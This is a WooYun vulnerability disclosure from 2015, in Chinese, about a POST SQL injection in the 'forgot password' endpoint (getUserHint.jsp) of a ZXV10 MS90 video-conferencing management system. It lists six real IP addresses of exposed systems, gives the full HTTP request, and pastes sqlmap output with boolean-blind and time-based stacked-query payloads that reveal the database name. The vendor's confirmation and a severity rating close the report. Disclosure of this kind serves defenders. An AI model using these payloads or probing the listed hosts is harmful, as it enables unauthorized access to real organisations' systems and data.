乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-03-17: 细节已通知厂商并且等待厂商处理中 2015-03-17: 厂商已经确认,细节仅向厂商公开 2015-03-20: 细节向第三方安全合作伙伴开放 2015-05-11: 细节向核心白帽子及相关领域专家公开 2015-05-21: 细节向普通白帽子公开 2015-05-31: 细节向实习白帽子公开 2015-06-15: 细节向公众公开
rt
注意:与WooYun-2014-81190注入点不同,版本原因。这里谈及的ZXV10 MS90视频会议管理系统版本都是存在一处:“忘记密码”而且可以post注入。。
案例:http://58.68.252.68:9000/http://117.40.138.30:9000/http://116.1.249.151:9000/http://222.223.141.16:9000/http://218.24.171.28:9000/http://61.184.36.220:9000/
POST /getUserHint.jsp HTTP/1.1x-requested-with: XMLHttpRequestAccept-Language: zh-cnReferer: http://117.40.138.30:9000/Accept: */*Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET CLR 3.0.04320; .NET CLR 2.0.50727)Host: 117.40.138.30:9000Content-Length: 25Proxy-Connection: Keep-AlivePragma: no-cacheCookie: JSESSIONID=B7663E6E0C1019EA20D780113089615D; http%3A117.40.138.30%3A9000=zhusername=admin&op=getHint
sqlmap identified the following injection points with a total of 53 HTTP(s) requests:---Parameter: username (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: username=admin' AND 7176=7176 AND 'BgHG'='BgHG&op=getHint Type: stacked queries Title: MySQL > 5.0.11 stacked queries (SELECT - comment) Payload: username=admin';(SELECT * FROM (SELECT(SLEEP(5)))gByI)#&op=getHint---back-end DBMS: MySQL 5.0.11sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: username (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: username=admin' AND 7176=7176 AND 'BgHG'='BgHG&op=getHint Type: stacked queries Title: MySQL > 5.0.11 stacked queries (SELECT - comment) Payload: username=admin';(SELECT * FROM (SELECT(SLEEP(5)))gByI)#&op=getHint---back-end DBMS: MySQL 5.0.11current database: 'm9000_asc_db'
sqlmap identified the following injection points with a total of 53 HTTP(s) requests:---Parameter: username (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: username=admin' AND 6650=6650 AND 'IvZr'='IvZr&op=getHint Type: stacked queries Title: MySQL > 5.0.11 stacked queries (SELECT - comment) Payload: username=admin';(SELECT * FROM (SELECT(SLEEP(5)))FVch)#&op=getHint---back-end DBMS: MySQL 5.0.11sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: username (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: username=admin' AND 6650=6650 AND 'IvZr'='IvZr&op=getHint Type: stacked queries Title: MySQL > 5.0.11 stacked queries (SELECT - comment) Payload: username=admin';(SELECT * FROM (SELECT(SLEEP(5)))FVch)#&op=getHint---back-end DBMS: MySQL 5.0.11current database: 'm9000_asc_db'
过滤
危害等级:高
漏洞Rank:15
确认时间:2015-03-17 17:16
感谢路人甲,确实存在~
暂无